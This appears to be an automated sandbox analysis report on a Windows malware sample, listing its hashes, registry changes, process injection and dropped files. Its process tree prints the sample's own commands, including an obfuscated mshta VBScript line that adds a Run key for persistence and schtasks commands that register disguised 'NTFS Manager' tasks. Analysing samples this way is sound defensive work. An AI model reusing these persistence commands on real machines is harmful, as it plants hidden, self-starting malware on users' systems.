Analysis
- max time kernel
140s - max time network
146s - platform
windows7_x64 - resource
win7v20201028 - submitted
10/11/2020, 11:37
Static task
static1
Behavioral task
behavioral1
Sample
f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
General
- Target f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe
- Size 514KB
- Sample201110-s82sd3lkps
- SHA256 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381
- MD5 23db42acfb11c3f5a0e73dfba7c15f81
- SHA1 fc2688622c02179619111b7982b5294db763b0af
- SHA512 948cfd35314ca8cc04a9f4b2413194bd7f0a0c8ccf059b72748a74959e7b8373c98bde00631867543dff3a33acb2c37d56c7d28eb2ca2c8ddbfa1fad150341bd
- MD5 SHA1 SHA512
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
pid Process 1432 Efterlevelsespension.exe - Loads dropped DLL 2 IoCs
pid Process 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe - Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Windows\CurrentVersion\Run mshta.exe Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Windows\CurrentVersion\Run\PAPPERNE = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Efterlevelsespension.exe" mshta.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\NTFS Manager = "C:\\Program Files (x86)\\NTFS Manager\\ntfsmgr.exe" Efterlevelsespension.exe -
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Efterlevelsespension.exe - Drops file in Program Files directory 2 IoCs
description ioc Process File created C:\Program Files (x86)\NTFS Manager\ntfsmgr.exe Efterlevelsespension.exe File opened for modification C:\Program Files (x86)\NTFS Manager\ntfsmgr.exe Efterlevelsespension.exe - Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 868 schtasks.exe 932 schtasks.exe - Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 400 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 1432 Efterlevelsespension.exe 1432 Efterlevelsespension.exe 1432 Efterlevelsespension.exe 1432 Efterlevelsespension.exe 1432 Efterlevelsespension.exe 1432 Efterlevelsespension.exe 1432 Efterlevelsespension.exe 1432 Efterlevelsespension.exe 1432 Efterlevelsespension.exe 1432 Efterlevelsespension.exe 1432 Efterlevelsespension.exe 1432 Efterlevelsespension.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1432 Efterlevelsespension.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1432 Efterlevelsespension.exe - Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 1432 Efterlevelsespension.exe 400 EXCEL.EXE 400 EXCEL.EXE 400 EXCEL.EXE - Suspicious use of UnmapMainImage 1 IoCs
pid Process 1432 Efterlevelsespension.exe - Suspicious use of WriteProcessMemory 25 IoCs
description pid Process procid_target PID 1040 wrote to memory of 1324 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 29 PID 1040 wrote to memory of 1324 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 29 PID 1040 wrote to memory of 1324 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 29 PID 1040 wrote to memory of 1324 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 29 PID 1040 wrote to memory of 1432 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 30 PID 1040 wrote to memory of 1432 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 30 PID 1040 wrote to memory of 1432 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 30 PID 1040 wrote to memory of 1432 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 30 PID 1040 wrote to memory of 400 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 32 PID 1040 wrote to memory of 400 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 32 PID 1040 wrote to memory of 400 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 32 PID 1040 wrote to memory of 400 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 32 PID 1040 wrote to memory of 400 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 32 PID 1040 wrote to memory of 400 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 32 PID 1040 wrote to memory of 400 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 32 PID 1040 wrote to memory of 400 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 32 PID 1040 wrote to memory of 400 1040 f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe 32 PID 1432 wrote to memory of 932 1432 Efterlevelsespension.exe 33 PID 1432 wrote to memory of 932 1432 Efterlevelsespension.exe 33 PID 1432 wrote to memory of 932 1432 Efterlevelsespension.exe 33 PID 1432 wrote to memory of 932 1432 Efterlevelsespension.exe 33 PID 1432 wrote to memory of 868 1432 Efterlevelsespension.exe 35 PID 1432 wrote to memory of 868 1432 Efterlevelsespension.exe 35 PID 1432 wrote to memory of 868 1432 Efterlevelsespension.exe 35 PID 1432 wrote to memory of 868 1432 Efterlevelsespension.exe 35
Processes
-
C:\Users\Admin\AppData\Local\Temp\f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe"C:\Users\Admin\AppData\Local\Temp\f85e5536409783a90f063aa0c836d1963621aab1535b981f6bc476276dd4a381.exe"1⤵
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1040 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscript:Execute(" str1 = ""WScript.Shell"" : str2 = ""Set WshShell = CrXXteObject(str1)"" : str2 = Replace(str2,""XX"",""ea"") : execute str2 : myKey = ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\PAPPERNE"" : WshShell.RegWrite myKey,""C:\Users\Admin\AppData\Local\Temp\Efterlevelsespension.exe"",""REG_SZ"" : window.close")2⤵
- Adds Run key to start application
- Modifies Internet Explorer settings
PID:1324
-
-
C:\Users\Admin\AppData\Local\Temp\Efterlevelsespension.exe"C:\Users\Admin\AppData\Local\Temp\Efterlevelsespension.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1432 -
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /create /f /tn "NTFS Manager" /xml "C:\Users\Admin\AppData\Local\Temp\tmp5792.tmp"3⤵
- Creates scheduled task(s)
PID:932
-
-
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /create /f /tn "NTFS Manager Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp5C63.tmp"3⤵
- Creates scheduled task(s)
PID:868
-
-
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde2⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:400
-